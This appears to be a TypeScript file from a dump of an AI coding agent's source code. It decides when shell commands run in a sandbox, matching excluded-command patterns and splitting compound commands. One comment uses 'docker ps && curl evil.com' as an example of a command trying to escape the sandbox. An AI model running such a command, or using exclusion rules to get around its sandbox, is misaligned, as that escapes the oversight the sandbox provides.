Something went wrong. Try again.
source dump of claude code forked from oppi.li/claude-code
Something went wrong. Try again.
5.2 kB · 153 lines
TypeScript
at main
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154import { getFeatureValue_CACHED_MAY_BE_STALE } from 'src/services/analytics/growthbook.js'import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'import { getSettings_DEPRECATED } from '../../utils/settings/settings.js'import { BINARY_HIJACK_VARS, bashPermissionRule, matchWildcardPattern, stripAllLeadingEnvVars, stripSafeWrappers,} from './bashPermissions.js'
type SandboxInput = { command?: string dangerouslyDisableSandbox?: boolean}
// NOTE: excludedCommands is a user-facing convenience feature, not a security boundary.// It is not a security bug to be able to bypass excludedCommands — the sandbox permission// system (which prompts users) is the actual security control.function containsExcludedCommand(command: string): boolean { // Check dynamic config for disabled commands and substrings (only for ants) if (process.env.USER_TYPE === 'ant') { const disabledCommands = getFeatureValue_CACHED_MAY_BE_STALE<{ commands: string[] substrings: string[] }>('tengu_sandbox_disabled_commands', { commands: [], substrings: [] })
// Check if command contains any disabled substrings for (const substring of disabledCommands.substrings) { if (command.includes(substring)) { return true } }
// Check if command starts with any disabled commands try { const commandParts = splitCommand_DEPRECATED(command) for (const part of commandParts) { const baseCommand = part.trim().split(' ')[0] if (baseCommand && disabledCommands.commands.includes(baseCommand)) { return true } } } catch { // If we can't parse the command (e.g., malformed bash syntax), // treat it as not excluded to allow other validation checks to handle it // This prevents crashes when rendering tool use messages } }
// Check user-configured excluded commands from settings const settings = getSettings_DEPRECATED() const userExcludedCommands = settings.sandbox?.excludedCommands ?? []
if (userExcludedCommands.length === 0) { return false }
// Split compound commands (e.g. "docker ps && curl evil.com") into individual // subcommands and check each one against excluded patterns. This prevents a // compound command from escaping the sandbox just because its first subcommand // matches an excluded pattern. let subcommands: string[] try { subcommands = splitCommand_DEPRECATED(command) } catch { subcommands = [command] }
for (const subcommand of subcommands) { const trimmed = subcommand.trim() // Also try matching with env var prefixes and wrapper commands stripped, so // that `FOO=bar bazel ...` and `timeout 30 bazel ...` match `bazel:*`. Not a // security boundary (see NOTE at top); the &&-split above already lets // `export FOO=bar && bazel ...` match. BINARY_HIJACK_VARS kept as a heuristic. // // We iteratively apply both stripping operations until no new candidates are // produced (fixed-point), matching the approach in filterRulesByContentsMatchingInput. // This handles interleaved patterns like `timeout 300 FOO=bar bazel run` // where single-pass composition would fail. const candidates = [trimmed] const seen = new Set(candidates) let startIdx = 0 while (startIdx < candidates.length) { const endIdx = candidates.length for (let i = startIdx; i < endIdx; i++) { const cmd = candidates[i]! const envStripped = stripAllLeadingEnvVars(cmd, BINARY_HIJACK_VARS) if (!seen.has(envStripped)) { candidates.push(envStripped) seen.add(envStripped) } const wrapperStripped = stripSafeWrappers(cmd) if (!seen.has(wrapperStripped)) { candidates.push(wrapperStripped) seen.add(wrapperStripped) } } startIdx = endIdx }
for (const pattern of userExcludedCommands) { const rule = bashPermissionRule(pattern) for (const cand of candidates) { switch (rule.type) { case 'prefix': if (cand === rule.prefix || cand.startsWith(rule.prefix + ' ')) { return true } break case 'exact': if (cand === rule.command) { return true } break case 'wildcard': if (matchWildcardPattern(rule.pattern, cand)) { return true } break } } } }
return false}
export function shouldUseSandbox(input: Partial<SandboxInput>): boolean { if (!SandboxManager.isSandboxingEnabled()) { return false }
// Don't sandbox if explicitly overridden AND unsandboxed commands are allowed by policy if ( input.dangerouslyDisableSandbox && SandboxManager.areUnsandboxedCommandsAllowed() ) { return false }
if (!input.command) { return false }
// Don't sandbox if the command contains user-configured excluded commands if (containsExcludedCommand(input.command)) { return false }
return true}